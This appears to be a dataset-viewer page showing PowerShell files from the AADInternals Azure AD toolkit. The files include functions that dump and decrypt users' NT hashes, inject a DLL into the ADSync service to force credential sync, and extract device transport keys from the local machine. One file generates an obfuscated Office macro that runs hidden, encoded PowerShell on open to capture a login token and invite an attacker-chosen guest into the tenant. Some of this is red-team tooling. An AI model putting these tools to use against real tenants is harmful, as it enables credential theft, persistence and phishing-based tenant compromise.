Search is not available for this dataset
filename
stringlengths 5
114
| module_name
stringlengths 8
67
| content
stringlengths 0
282M
|
---|---|---|
DCaaS.ps1 | AADInternals-0.9.4 |
# Gets users NT Hashes from Azure AD
# Dec 22nd 2022
function Get-UserNTHash
{
<#
.SYNOPSIS
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
.DESCRIPTION
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
The application must be "Azure AD Domain Services Sync" created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided.
The encryption certificate needs to be exported from AADDS domain controller.
.Example
PS C\:>Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName .\encryption_cert.pfx
NTHash UserPrincipalName
------ -----------------
00000000000000000000000000000000 [email protected]
11111111111111111111111111111111 [email protected]
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='ClientPassword', Mandatory=$False)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$True)]
[string]$ClientPfxFileName,
[Parameter(ParameterSetName='ClientPassword', Mandatory=$True)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$False)]
[string]$ClientPassword,
[Parameter(Mandatory=$False)]
[string]$ClientPfxPassword,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[guid]$TenantId,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[switch]$UseBuiltInCertificate
)
Process
{
# Load certificates
if(![string]::IsNullOrEmpty($ClientPfxFileName))
{
$clientCertificate = Load-Certificate -FileName $ClientPfxFileName -Password $ClientPfxPassword -Exportable
}
if($UseBuiltInCertificate)
{
$decryptionCertificate = Load-Certificate -FileName "$PSScriptRoot\ForceNTHash.pfx" -Exportable
}
elseif(![string]::IsNullOrEmpty($PfxFileName))
{
$decryptionCertificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
else
{
Throw "Provide PfxFileName or use -UseBuiltInCertificate"
}
# Parse the tenant name from the cert and get id if not provided
if([string]::IsNullOrEmpty($TenantId))
{
try
{
$domainName = $decryptionCertificate.Subject.Split("-")[1].Trim()
$TenantId = Get-TenantID -Domain $domainName
}
catch
{
throw "Unable to parse tenant id from the certificate. Try again with -Tenant switch."
}
}
# Get access token
$access_token = Get-DCaaSAccessToken -Certificate $clientCertificate -TenantId $TenantId -ClientId $ClientId -Password $ClientPassword
$queryString = '$select=id,onPremisesImmutableId,onPremisesSecurityIdentifier,userPrincipalName,windowsLegacyCredentials'#,windowsSupplementalCredentials'
if(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString += "&`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results = Call-MSGraphAPI -AccessToken $access_token -API users -QueryString $queryString
foreach($result in $results)
{
if($result.windowsLegacyCredentials)
{
$binLegacyCreds = Convert-B64ToByteArray -B64 $result.windowsLegacyCredentials
$ADAuthInfo = Unprotect-ADAuthInfo -Data $binLegacyCreds -Certificate $decryptionCertificate
if($ADAuthInfo)
{
$binHash = $ADAuthInfo[8..($ADAuthInfo.length)]
[PSCustomObject][ordered]@{
"NTHash" = Convert-ByteArrayToHex -Bytes $binHash
"UserPrincipalName" = $result.UserPrincipalName
}
}
else
{
Write-Verbose "Decryption failed: $($result.UserPrincipalName)"
}
}
else
{
Write-Verbose "No NTHash: $($result.UserPrincipalName)"
}
}
}
}
# ForceNTHash functions
# Some constants
$AADConnectServiceName = "ADSync"
$AADConnectProcessName = "miiserver"
# Aug 21st 2023
function Install-ForceNTHash
{
<#
.SYNOPSIS
Installs ForceNTHash to the current computer.
.DESCRIPTION
Installs ForceNTHash to the current computer.
ForceNTHash enforces Windows legacy credential sync. Credentials are encrypted using ForceNTHash.pfx certificate.
.EXAMPLE
Install-AADIntForceNTHash
#>
[cmdletbinding()]
Param(
[switch]$EnforceFullPasswordSync
)
Process
{
# Chech that running as administrator and that the service is running
Test-LocalAdministrator -Throw | Out-Null
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
$promptValue = Read-Host "Are you sure you wan't to install ForceNTHash to this computer? Type YES to continue or CTRL+C to abort"
if($promptValue -eq "yes")
{
# We need to restart so we can inject before GetWindowsCredentialsSyncConfig is called
Restart-Service $AADConnectServiceName
# But still wait a couple of seconds
Write-Warning "Sleeping for five seconds.."
Start-Sleep -Seconds 5
# Get the process id
$process = Get-Process -Name $AADConnectProcessName -ErrorAction SilentlyContinue
$processId = $process.Id
# Inject the dll
$result=Inject-DLL -ProcessID $processID -FileName "$PSScriptRoot\ForceNTHash.dll" -Function "Patch"
Write-Verbose "Inject-DLL result: $result"
if($result -like "*success*")
{
Write-Host "Installation successfully completed!"
Write-Host "Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate."
if($EnforceFullPasswordSync)
{
Initialize-FullPasswordSync
}
return
}
else
{
Write-Error "Installation failed: $result"
return
}
}
}
}
# Aug 18th 2023
function Remove-ForceNTHash
{
<#
.SYNOPSIS
Removes ForceNTHash from the current computer
.DESCRIPTION
Removes ForceNTHash from the current computer by restarting ADSync service.
.EXAMPLE
Remove-AADIntForceNTHash
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
Service restarted and ForceNTHash removed.
#>
[cmdletbinding()]
Param()
Process
{
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
Restart-Service $AADConnectServiceName
Write-Host "Service restarted and ForceNTHash removed."
}
}
# Aug 21st 2023
function Initialize-FullPasswordSync
{
<#
.SYNOPSIS
Enforces password hash sync of all users.
.DESCRIPTION
Enforces password hash sync of all users.
.EXAMPLE
Initialize-AADIntFullPasswordSync
#>
[cmdletbinding()]
Param()
Process
{
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
# ref: https://learn.microsoft.com/en-us/azure/active-directory-domain-services/tutorial-configure-password-hash-sync
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location" )\Bin\ADSync\ADSync.psd1"
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "InstallationPath")\AdSyncConfig\AdSyncConfig.psm1"
$connectors = Get-ADSyncConnector
if($connectors.Count -ne 2)
{
Throw "Connector count is not 2, can't automatically select connectors"
}
# Define the Azure AD Connect connector names and import the required PowerShell module
$azureadConnector = (Get-ADSyncConnector | where Type -ne "AD").Name
$adConnector = (Get-ADSyncConnector | where Type -eq "AD").Name
# Create a new ForceFullPasswordSync configuration parameter object then
# update the existing connector with this new configuration
$c = Get-ADSyncConnector -Name $adConnector
$p = New-Object Microsoft.IdentityManagement.PowerShell.ObjectModel.ConfigurationParameter "Microsoft.Synchronize.ForceFullPasswordSync", String, ConnectorGlobal, $null, $null, $null
$p.Value = 1
$c.GlobalParameters.Remove($p.Name) | Out-Null
$c.GlobalParameters.Add($p) | Out-Null
$c = Add-ADSyncConnector -Connector $c
# Disable and re-enable Azure AD Connect to force a full password synchronization
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $false | Out-Null
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $true | Out-Null
Write-Host "Full password sync enforced"
}
} |
Device_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions for local AAD Joined devices
# Exports the transport key of the local device
# Dec 17th 2021
function Get-LocalDeviceTransportKeys
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[ValidateSet('Joined','Registered')]
[String]$JoinType,
[Parameter(Mandatory=$True)]
[String]$IdpDomain,
[Parameter(Mandatory=$True)]
[String]$TenantId,
[Parameter(Mandatory=$True)]
[String]$UserEmail
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# Calculate registry key parts
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($IdpDomain)))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
$email = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($UserEmail)))
$sid = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes(([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)))
if($JoinType -eq "Joined")
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$Idp\$tenant"
}
else
{
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\$sid\$idp\$($tenant)_$($email)"
}
if((Test-Path -Path $registryPath) -eq $false)
{
Throw "The device seems not to be Azure AD joined or registered. Registry key not found: $registryPath"
}
# Get the Transport Key name from registry
try
{
$transPortKeyName = Get-ItemPropertyValue -Path "$registryPath" -Name "SoftwareKeyTransportKeyName"
}
catch
{
# This machine probably has a TPM, so the value name would be "TpmKeyTransportKeyName"
Throw "Unable to get SoftwareTransportKeyName from $registryPath"
}
Write-Verbose "TransportKey name: $transportKeyName`n"
# Loop through the system keys
$systemKeys = Get-ChildItem -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys"
foreach($systemKey in $systemKeys)
{
Write-Verbose "Parsing $($systemKey.FullName)"
$keyBlob = Get-BinaryContent $systemKey.FullName
# Parse the blob to get the name
$key = Parse-CngBlob -Data $keyBlob
if($key.name -eq $transPortKeyName)
{
Write-Verbose "Transport Key found! Decrypting.."
# Decrypt the found key
$transPortKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine
return $transPortKey
}
}
}
End
{
$sha256.Dispose()
}
}
# Parses the oid values of the given certificate
# Dec 23rd 2021
function Parse-CertificateOIDs
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
)
Process
{
function Get-OidRawValue
{
Param([byte[]]$RawValue)
Process
{
# Is this DER value?
if($RawValue.Length -gt 2 -and ($RawValue[2] -eq $RawValue.Length-3 ))
{
return $RawValue[3..($RawValue.Length-1)]
}
else
{
return $RawValue
}
}
}
$retVal = New-Object psobject
foreach($ext in $Certificate.Extensions)
{
switch($ext.Oid.Value)
{
"1.2.840.113556.1.5.284.2" {
$retVal | Add-Member -NotePropertyName "DeviceId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
# "The objectGuid of the user object ([MS-ADSC] section 2.268) on the directory server that corresponds to the authenticating user."
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvrj/850786b9-2525-4047-a5ff-8c3093b46b88
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvre/76747b5c-06c2-4c73-9207-8ebb6ee891ea
# I.e. the object ID in AAD of the user who joined/registered the device
"1.2.840.113556.1.5.284.3" {
$retVal | Add-Member -NotePropertyName "AuthUserObjectId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.5" {
$retVal | Add-Member -NotePropertyName "TenantId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
}
"1.2.840.113556.1.5.284.8" {
# Tenant region
# AF = Africa
# AS = Asia
# AP = Australia/Pasific
# EU = Europe
# ME = Middle East
# NA = North America
# SA = South America
$retVal | Add-Member -NotePropertyName "Region" -NotePropertyValue ([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData)))
}
"1.2.840.113556.1.5.284.7" {
# JoinType
# 0 = Registered
# 1 = Joined
$retVal | Add-Member -NotePropertyName "JoinType" -NotePropertyValue ([int]([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData))))
}
}
}
return $retVal
}
}
# Gets service account names for all services
# Aug 29th 2022
function Get-ServiceAccountNames
{
[cmdletbinding()]
Param()
Process
{
foreach($service in Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\")
{
$svcName = $service.PSChildName
$svcAccount = $service.GetValue("ObjectName")
if(![string]::IsNullOrEmpty($svcAccount))
{
Write-Debug "Service: '$svcName', AccountName: '$svcAccount'"
New-Object psobject -Property ([ordered]@{"Service" = $svcName; "AccountName" = $svcAccount})
}
}
}
} |
OneNote.ps1 | AADInternals-0.9.4 | # Speaks out the given text.
# Feb 22nd 2022
function Start-Speech
{
<#
.SYNOPSIS
Gets mp3 stream of the given text and plays it with Media player.
.DESCRIPTION
Gets mp3 stream of the given text using learning tools API and plays it with Media player.
.Parameter AccessToken
The access token used to get the speech.
.Parameter Language
The language code. Defaults to "en-US"
.Parameter PreferredVoice
Male or Female voice, defaults to Female.
.Parameter Text
The text to speak.
.Example
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
PS C:\>Start-AADIntSpeech -Text "Three Swedish switched witches watch three Swiss Swatch watch switches. Which Swedish switched witch watch which Swiss Swatch watch switch?" -Language "en-GB" -PreferredVoice Male
.Example
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
PS C:\>Start-AADIntSpeech -Text "Mustan kissan paksut posket" -PreferredVoice Female -Language fi-FI
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Text,
[Parameter(Mandatory=$False)]
[String]$Language = "en-US",
[Parameter(Mandatory=$False)]
[ValidateSet("Female","Male")]
[String]$PreferredVoice = "Female"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://onenote.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
# Construct the body
$body = @{
"data" = [ordered]@{
"title" = "The King's Speech"
"chunks" = @(
[ordered]@{
"content" = $Text
"mimeType" = "text/plain"
}
)
"startingChunkIndex" = 0
"startingCharIndex" = 0
}
}
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept-Language" = $Language
"MS-Int-AppId" = "Teams"
}
# Invoke the command
$contentModel = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/getcontentmodelforreader" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
# Construct the body
$body = [ordered]@{
"data" = [ordered]@{
"sentenceModels" = @(
[ordered]@{
"t" = $Text
"lang" = $Language
"se" = $contentModel.data[0].formatting.b.r[0].i[0]
"wo" = @()
}
)
}
"options" = [ordered]@{
"preferredVoice" = $PreferredVoice
"extractWordMarkers" = $True
"encoding" = "Wav"
"clientLabel" = "ReadAloudFirstPrefetch"
"useBrowserSpecifiedDialect" = $True
}
}
# Set the headers
$headers=@{
"Authorization" = "MS-SessionToken $($contentModel.meta.sessionToken)"
"X-UserSessionId" = $contentModel.meta.sessionId
"Accept-Language" = $Language
"MS-Int-AppId" = "Teams"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/GetSpeech" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json"
$mp3B64 = $response.data.sb[0].ad.Split(",")[1]
# Create a temporary file
$tmp = New-TemporaryFile
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".mp3")
$mp3 = ($tmp.FullName+".mp3")
try
{
Set-BinaryContent -Path $mp3 -Value (Convert-B64ToByteArray -B64 $mp3B64)
$player = [System.Windows.Media.MediaPlayer]::new()
$player.Open($mp3)
# Pause for a while to populate the duration
Start-Sleep -Milliseconds 100
$player.Play()
# Wait till completed
while($player.Position -lt $player.NaturalDuration.TimeSpan)
{
Start-Sleep -Milliseconds 10
}
$player.Close()
}
catch
{
}
finally
{
# Remove the temp file
Remove-Item $mp3
}
}
}
|
WBAWeaponiser.ps1 | AADInternals-0.9.4 | # This script contains functions for weaponising Office files
# Aug 6th 2020
function Generate-InvitationVBA
{
<#
.SYNOPSIS
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
.DESCRIPTION
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
The script starts when the Excel workbook is opened:
* Opens an Office 365 login window to get an access token
* Using the access token, sends an invitation for the given email address
Copy the generated script to clipboard and paste to Excel
.Example
New-AADIntInvitationVBA -Email [email protected] | Set-ClipBoard
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Email,
[Validateset("Workbook","Document")]
[String]$Type="Workbook"
)
Process
{
#
# Generate the PowerShell code block
#
# First some needed assemblies are imported.
# Second, a Windows form object is created with a web browser control. The Outlook app id is used.
# Third, the login window is shown and access token is fetched
# Finally, the invitation for the given user is sent
$e="`$e=""$Email"";"
$code=@'
Add-Type -AssemblyName System.Windows.Forms;
Add-Type -AssemblyName System.Web;
$r="https://graph.microsoft.com";
$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";
$u="urn:ietf:wg:oauth:2.0:oob";
$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";
$f=[Windows.Forms.Form]::new();
$f.Width=560;
$f.Height=680;
$f.FormBorderStyle=3;
$f.TopMost=$true;
$w=[Windows.Forms.WebBrowser]::new();
$w.Size=$f.ClientSize;
$w.Anchor="Left,Top,Right,Bottom";
$f.Controls.Add($w);
$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});
$w.Navigate($l);
if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};
$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);
$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};
$f.Controls[0].Dispose();
$c="application/x-www-form-urlencoded";
$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;
$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";
$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};
'@
# Convert the code block to Unicode and decode it with Base64
$unicode=[text.encoding]::Unicode.getBytes("$e$code")
$code=[convert]::ToBase64String($unicode)
#
# Create the VBA Code
#
# Generate a random function name
$funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})
$VBA = @"
Private Sub $($Type)_Open()
$funcName
End Sub
Sub $funcName()`n
"@
$p = 1
# Split the Base64 encoded code to shorter chunks
While(($p*500) -lt $code.Length)
{
$codeStr = $($code.Substring(($p-1)*500,500))
#$codeStrArr= $codeStr.ToCharArray()
#[array]::Reverse($codeStrArr)
#$codeStr = -join($codeStrArr)
$VBA += " i$p = ""$codeStr""`n"
$p++
}
$VBA += " i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"
$VBA += " c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"
$VBA += " c2 = ""-EncodedCommand """
for($i=1;$i -lt $p+1 ; $i++)
{
$VBA += " & i$i"
}
$VBA += "`n"
# Set PowerShell to start as hidden
$VBA += " c3 = "" -WindowStyle Hidden""`n"
# Create Wscript.shell object
$VBA += " Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"
# Invoke the PowerShell minimized
$VBA += " s2.Run c1 & c2 & c3, 2`n"
$VBA += "End Sub`n"
# Return
$VBA
}
}
function Scramble-Text
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Text,
[Parameter(Mandatory=$True)]
[String]$Secret
)
Process
{
$secretArray=$Secret.ToCharArray()
$num=0
foreach($char in $secretArray)
{
$num+=$char
}
$num = $num % 256
$textArray = $Text.ToCharArray()
}
} |
AzureADConnectAPI_utils.ps1 | AADInternals-0.9.4 | # Initial AADSync server name
$aadsync_server= "adminwebservice.microsoftonline.com"
$aadsync_client_version="8.0"
$aadsync_client_build= "2.2.8.0"
# Checks whether the response has redirect
function IsRedirectResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$xml_doc
)
Process
{
try
{
$url=$xml_doc.Envelope.Body.Fault.Detail.BindingRedirectionFault.Url
if([string]::IsNullOrEmpty($url))
{
$message=$xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
if(![string]::IsNullOrEmpty($url))
{
$Script:aadsync_server=$url.Split('/')[2]
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
return $True
}
}
else
{
$Script:aadsync_server=$url.Split('/')[2]
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
return $True
}
return IsErrorResponse($xml_doc)
}
catch
{
throw $_
}
}
}
# Checks whether the response has redirect
function IsErrorResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$xml_doc
)
Process
{
$error=Select-Xml -Xml $xml_doc -XPath "//*[local-name()='ErrorDescription']"
if([string]::IsNullOrEmpty($error))
{
# All good
return $False
}
else
{
# Got error, so throw an exception
throw $error.Node.'#text'
}
}
}
# Create SOAP envelope for ADSync
function Create-SyncEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$True)]
[String]$Message_id,
[Parameter()]
[String]$Server="adminwebservice.microsoftonline.com",
[Parameter()]
[switch]$Binary,
[Parameter()]
[bool]$IsInstalledOnDc=$False,
[Parameter()]
[bool]$RichCoexistenceEnabled=$False,
[Parameter()]
[int]$Version=1
)
Process
{
# Set the client ID
if($Version -eq 2)
{
$applicationClient= "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1"
}
else
{
$applicationClient = "1651564e-7ce4-4d99-88be-0a65050d8dc3"
}
# Create the envelope
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/online/aws/change/2010/01/IProvisioningWebService/$Command</a:Action>
<SyncToken s:role="urn:microsoft.online.administrativeservice" xmlns="urn:microsoft.online.administrativeservice" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<ApplicationId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$applicationClient</ApplicationId>
<BearerToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$AccessToken</BearerToken>
<ClientVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_version</ClientVersion>
<DirSyncBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</DirSyncBuildNumber>
<FIMBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</FIMBuildNumber>
<IsInstalledOnDC xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$IsInstalledOnDc</IsInstalledOnDC>
<IssueDateTime xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">0001-01-01T00:00:00</IssueDateTime>
<LanguageId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">en-US</LanguageId>
<LiveToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01"/>
<ProtocolVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">2.0</ProtocolVersion>
<RichCoexistenceEnabled xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$RichCoexistenceEnabled</RichCoexistenceEnabled>
<TrackingId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$Message_id</TrackingId>
</SyncToken>
<a:MessageID>urn:uuid:$message_id</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://$Server/provisioningservice.svc</a:To>
</s:Header>
<s:Body>
$Body
</s:Body>
</s:Envelope>
"@
# Debug
Write-Debug "ENVELOPE ($Command): $envelope"
# Return the envelope as binary if requested
if($Binary)
{
return XmlToBinary $envelope -Dictionary (Get-XmlDictionary -Type WCF)
}
else
{
$envelope
}
}
}
# Calls the ADSync SOAP API
function Call-ADSyncAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Envelope,
[Parameter(Mandatory=$True)]
[string]$Command,
[Parameter(Mandatory=$True)]
[string]$Tenant_id,
[Parameter(Mandatory=$True)]
[string]$Message_id,
[Parameter(Mandatory=$False)]
[string]$Server="adminwebservice.microsoftonline.com"
)
Process
{
$headers=@{
"Host" = $Server
"x-ms-aadmsods-appid"= "1651564e-7ce4-4d99-88be-0a65050d8dc3"
"x-ms-aadmsods-apiaction"= $Command
"client-request-id"= $Message_id
"x-ms-aadmsods-clientversion"= $aadsync_client_version
"x-ms-aadmsods-dirsyncbuildnumber"=$aadsync_client_build
"x-ms-aadmsods-fimbuildnumber"= $aadsync_client_build
"x-ms-aadmsods-tenantid"= $Tenant_id
"User-Agent"=""
}
# Verbose
Write-Debug "CALL-ADSYNCAPI HEADERS: $($headers | Out-String)"
$stream=$null
# Call the API
try
{
# Sometimes no error at all..?
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://$Server/provisioningservice.svc" -ContentType "application/soap+msbin1" -Method POST -Body $envelope -Headers $headers
$stream=$response.RawContentStream
}
catch
{
# Should give error 500
$Exception = $_.Exception
if($Exception.Message -like "*500*")
{
$stream=$Exception.Response.GetResponseStream()
}
else
{
Throw $Exception
}
}
$bytes=$stream.toArray()
$bytes
}
}
# Utility function for Provision-AzureADSyncObject to add property value
function Add-PropertyValue
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Key,
[Parameter(Mandatory=$False)]
[PSobject]$Value,
[ValidateSet('string','bool','base64','long','ArrayOfstring','ArrayOfbase64')]
[String]$Type="string"
)
Process
{
if(![string]::IsNullOrEmpty($Value))
{
$PropBlock="<c:KeyValueOfstringanyType><c:Key>$Key</c:Key>"
switch($Type)
{
'long' { $PropBlock += "<c:Value i:type=""d:long"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
'bool' { $PropBlock += "<c:Value i:type=""d:boolean"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$($Value.toString().toLower())</c:Value>" }
'base64'{ $PropBlock += "<c:Value i:type=""d:base64Binary"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
'ArrayOfstring'{
$PropBlock += "<c:Value i:type=""c:ArrayOfstring"">"
foreach($stringValue in $Value)
{
$PropBlock += "<c:string>$stringValue</c:string>"
}
$PropBlock += "</c:Value>"
}
'ArrayOfbase64'{
$PropBlock += "<c:Value i:type=""c:ArrayOfbase64Binary"">"
foreach($stringValue in $Value)
{
$PropBlock += "<c:base64Binary>$stringValue</c:base64Binary>"
}
$PropBlock += "</c:Value>"
}
default { $PropBlock += "<c:Value i:type=""d:string"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
}
$PropBlock+="</c:KeyValueOfstringanyType>"
return $PropBlock
}
}
}
# Creates a AADHash for given password
Function Create-AADHash {
[cmdletbinding()]
param(
[parameter(Mandatory=$false)]
[String]$Password,
[parameter(Mandatory=$false)]
[String]$Hash,
[parameter(Mandatory=$false)]
[int]$Iterations=1000
)
Process
{
if([string]::IsNullOrEmpty($Hash))
{
# Calculate MD4 from the password (Unicode)
$md4 = (Get-MD4 -bArray ([System.Text.UnicodeEncoding]::Unicode.GetBytes($password))).ToUpper()
}
elseif($Hash.Length -ne 32)
{
Throw "Invalid hash length!"
}
else
{
$md4=$Hash
}
$md4bytes = ([System.Text.UnicodeEncoding]::Unicode.GetBytes($md4))
# Generate random 10-byte salt
$salt=@()
for($count = 0; $count -lt 10 ; $count++)
{
$salt += Get-Random -Minimum 0 -Maximum 0xFF
}
# Calculate hash using 1000 iterations and SHA256
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($md4bytes,[byte[]]$salt,$Iterations,"SHA256")
$bytes = $pbkdf2.GetBytes(32)
# Convert to hex strings
$hexbytes=Convert-ByteArrayToHex $bytes
$hexsalt=Convert-ByteArrayToHex $salt
# Create the return value
$retVal = "v1;PPH1_MD4,$hexsalt,$Iterations,$hexbytes;"
# Verbose
Write-Debug $retVal
# Return
return $retVal
}
}
|
SPMT.ps1 | AADInternals-0.9.4 | # This file contains functions to implement protocol used by
# SharePoint Migration Tool (SPMT) and Migration Manager agent
# Ref: https://learn.microsoft.com/en-us/sharepointmigration/introducing-the-sharepoint-migration-tool
# Ref: https://learn.microsoft.com/en-us/sharepointmigration/mm-how-to-use
# Send given file(s) to given SPO site
# Nov 23rd 2022
